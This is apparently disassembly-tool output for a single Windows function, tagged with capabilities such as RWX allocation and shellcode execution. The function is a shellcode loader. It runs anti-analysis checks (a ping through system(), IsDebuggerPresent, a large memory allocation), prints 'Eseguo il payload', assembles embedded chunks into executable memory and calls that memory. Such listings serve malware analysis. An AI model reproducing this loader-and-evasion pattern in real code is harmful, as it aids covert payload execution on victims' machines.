Function at 0x140011307
Capabilities:
Allocate or change rwx memory
Execute command
Execute shellcode via indirect call
Terminate process

Disassembly:
jmp 0x140012d30
push rbp
push rsi
push rdi
sub rsp, 0xeb0
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x284
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140021040]
xor rax, rbp
mov qword [rbp + 0xe88], rax
lea rcx, [0x140027102]
call fcn.14001145b
lea rax, [rbp + 8]
lea rcx, [0x14001dd68]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x38]
lea rcx, str.RQVH1
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x68]
lea rcx, [0x14001dd98]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x98]
lea rcx, [0x14001ddb0]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0xc8]
lea rcx, [0x14001ddc8]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0xf8]
lea rcx, [0x14001dde0]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x128]
lea rcx, [0x14001ddf8]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x158]
lea rcx, [0x14001de10]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x188]
lea rcx, [0x14001de28]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x1b8]
lea rcx, [0x14001de40]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x1e8]
lea rcx, [0x14001de58]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x218]
lea rcx, [0x14001de70]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x248]
lea rcx, [0x14001de88]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x278]
lea rcx, str.XAXYZAXAYAZH
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x2a8]
lea rcx, [0x14001deb8]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x2d8]
lea rcx, [0x14001ded0]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x308]
lea rcx, [0x14001dee8]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x338]
lea rcx, [0x14001df00]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x368]
lea rcx, [0x14001df18]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x398]
lea rcx, [0x14001df30]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x3c8]
lea rcx, [0x14001df48]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x3f8]
lea rcx, [0x14001df60]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x428]
lea rcx, [0x14001df78]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x458]
lea rcx, [0x14001df90]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x488]
lea rcx, [0x14001dfa8]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x4b8]
lea rcx, [0x14001dfc0]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x4e8]
lea rcx, [0x14001dfd8]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x518]
lea rcx, [0x14001dff0]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x548]
lea rcx, [0x14001e008]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x578]
lea rcx, [0x14001e020]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x5a8]
lea rcx, [0x14001e038]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x5d8]
lea rcx, [0x14001e050]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x608]
lea rcx, [0x14001e068]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x638]
lea rcx, [0x14001e080]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x668]
lea rcx, [0x14001e098]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x698]
lea rcx, [0x14001e0b0]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x6c4]
lea rcx, [0x14001e0c4]
mov rdi, rax
mov rsi, rcx
mov ecx, 7
rep movsb byte [rdi], byte [rsi]
movzx eax, byte [0x14001dce5]
mov byte [rbp + 0x6f0], al
lea rax, [rbp + 0x6f1]
mov rdi, rax
xor eax, eax
mov ecx, 0x2cf
rep stosb byte [rdi], al
lea rcx, str.ping_www.google.com
call qword [sym.imp.ucrtbased.dll_system]
test eax, eax
je 0x140013188
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x14001319a
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll_exit]
call fcn.14001134d
test eax, eax
je 0x1400131ab
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll_exit]
mov qword [rbp + 0x9d8], 0
mov ecx, 0x5f5e100
call qword [sym.imp.ucrtbased.dll_malloc]
mov qword [rbp + 0x9d8], rax
cmp qword [rbp + 0x9d8], 0
je 0x140013665
mov r8d, 0x5f5e100
xor edx, edx
mov rcx, qword [rbp + 0x9d8]
call fcn.14001136b
lea rdx, str.__Eseguo_il_payload
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001109b
lea rdx, [0x140011041]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r8d, 0xf
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x6f0]
call fcn.140011226
lea rax, [rbp + 0x6fe]
mov r8d, 0xf
lea rdx, [rbp + 0x38]
mov rcx, rax
call fcn.140011226
lea rax, [rbp + 0x70c]
mov r8d, 0xf
lea rdx, [rbp + 0x68]
mov rcx, rax
call fcn.140011226
lea rax, [rbp + 0x71a]
mov r8d, 0xf
lea rdx, [rbp + 0x98]
mov rcx, rax
call fcn.140011226
lea rax, [rbp + 0x728]
mov r8d, 0xf
lea rdx, [rbp + 0xc8]
mov rcx, rax
call fcn.140011226
lea rax, [rbp + 0x736]
mov r8d, 0xf
lea rdx, [rbp + 0xf8]
mov rcx, rax
call fcn.140011226
lea rax, [rbp + 0x744]
mov r8d, 0xf
lea rdx, [rbp + 0x128]
mov rcx, rax
call fcn.140011226
lea rax, [rbp + 0x752]
mov r8d, 0xf
lea rdx, [rbp + 0x158]
mov rcx, rax
call fcn.140011226
lea rax, [rbp + 0x760]
mov r8d, 0xf
lea rdx, [rbp + 0x188]
mov rcx, rax
call fcn.140011226
lea rax, [rbp + 0x76e]
mov r8d, 0xf
lea rdx, [rbp + 0x1b8]
mov rcx, rax
call fcn.140011226
lea rax, [rbp + 0x77c]
mov r8d, 0xf
lea rdx, [rbp + 0x1e8]
mov rcx, rax
call fcn.140011226
lea rax, [rbp + 0x78a]
mov r8d, 0xf
lea rdx, [rbp + 0x218]
mov rcx, rax
call fcn.140011226
lea rax, [rbp + 0x798]
mov r8d, 0xf
lea rdx, [rbp + 0x248]
mov rcx, rax
call fcn.140011226
lea rax, [rbp + 0x7a6]
mov r8d, 0xf
lea rdx, [rbp + 0x278]
mov rcx, rax
call fcn.140011226
lea rax, [rbp + 0x7b4]
mov r8d, 0xf
lea rdx, [rbp + 0x2a8]
mov rcx, rax
call fcn.140011226
lea rax, [rbp + 0x7c2]
mov r8d, 0xf
lea rdx, [rbp + 0x2d8]
mov rcx, rax
call fcn.140011226
lea rax, [rbp + 0x7d0]
mov r8d, 0xf
lea rdx, [rbp + 0x308]
mov rcx, rax
call fcn.140011226
lea rax, [rbp + 0x7de]
mov r8d, 0xf
lea rdx, [rbp + 0x338]
mov rcx, rax
call fcn.140011226
lea rax, [rbp + 0x7ec]
mov r8d, 0xf
lea rdx, [rbp + 0x368]
mov rcx, rax
call fcn.140011226
lea rax, [rbp + 0x7fa]
mov r8d, 0xf
lea rdx, [rbp + 0x398]
mov rcx, rax
call fcn.140011226
lea rax, [rbp + 0x808]
mov r8d, 0xf
lea rdx, [rbp + 0x3c8]
mov rcx, rax
call fcn.140011226
lea rax, [rbp + 0x816]
mov r8d, 0xf
lea rdx, [rbp + 0x3f8]
mov rcx, rax
call fcn.140011226
lea rax, [rbp + 0x824]
mov r8d, 0xf
lea rdx, [rbp + 0x428]
mov rcx, rax
call fcn.140011226
lea rax, [rbp + 0x832]
mov r8d, 0xf
lea rdx, [rbp + 0x458]
mov rcx, rax
call fcn.140011226
lea rax, [rbp + 0x840]
mov r8d, 0xf
lea rdx, [rbp + 0x488]
mov rcx, rax
call fcn.140011226
lea rax, [rbp + 0x84e]
mov r8d, 0xf
lea rdx, [rbp + 0x4b8]
mov rcx, rax
call fcn.140011226
lea rax, [rbp + 0x85c]
mov r8d, 0xf
lea rdx, [rbp + 0x4e8]
mov rcx, rax
call fcn.140011226
lea rax, [rbp + 0x86a]
mov r8d, 0xf
lea rdx, [rbp + 0x518]
mov rcx, rax
call fcn.140011226
lea rax, [rbp + 0x878]
mov r8d, 0xf
lea rdx, [rbp + 0x548]
mov rcx, rax
call fcn.140011226
lea rax, [rbp + 0x886]
mov r8d, 0xf
lea rdx, [rbp + 0x578]
mov rcx, rax
call fcn.140011226
lea rax, [rbp + 0x894]
mov r8d, 0xf
lea rdx, [rbp + 0x5a8]
mov rcx, rax
call fcn.140011226
lea rax, [rbp + 0x8a2]
mov r8d, 0xf
lea rdx, [rbp + 0x5d8]
mov rcx, rax
call fcn.140011226
lea rax, [rbp + 0x8b0]
mov r8d, 0xf
lea rdx, [rbp + 0x608]
mov rcx, rax
call fcn.140011226
lea rax, [rbp + 0x8be]
mov r8d, 0xf
lea rdx, [rbp + 0x638]
mov rcx, rax
call fcn.140011226
lea rax, [rbp + 0x8cc]
mov r8d, 0xf
lea rdx, [rbp + 0x668]
mov rcx, rax
call fcn.140011226
lea rax, [rbp + 0x8da]
mov r8d, 0xf
lea rdx, [rbp + 0x698]
mov rcx, rax
call fcn.140011226
lea rax, [rbp + 0x8e8]
mov r8d, 7
lea rdx, [rbp + 0x6c4]
mov rcx, rax
call fcn.140011226
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x2d0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0x9f8], rax
mov r8d, 1
lea rdx, [0x14001e104]
lea rcx, [rbp + 0x6f0]
call fcn.140011226
mov r8d, 0x2d0
lea rdx, [rbp + 0x6f0]
mov rcx, qword [rbp + 0x9f8]
call fcn.140011226
call qword [rbp + 0x9f8]
mov rcx, qword [rbp + 0x9d8]
call qword [sym.imp.ucrtbased.dll_free]
jmp 0x140013676
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14001d970]
call fcn.1400113c5
mov rax, rdi
mov rcx, qword [rbp + 0xe88]
xor rcx, rbp
call fcn.140011221
lea rsp, [rbp + 0xe90]
pop rdi
pop rsi
pop rbp
ret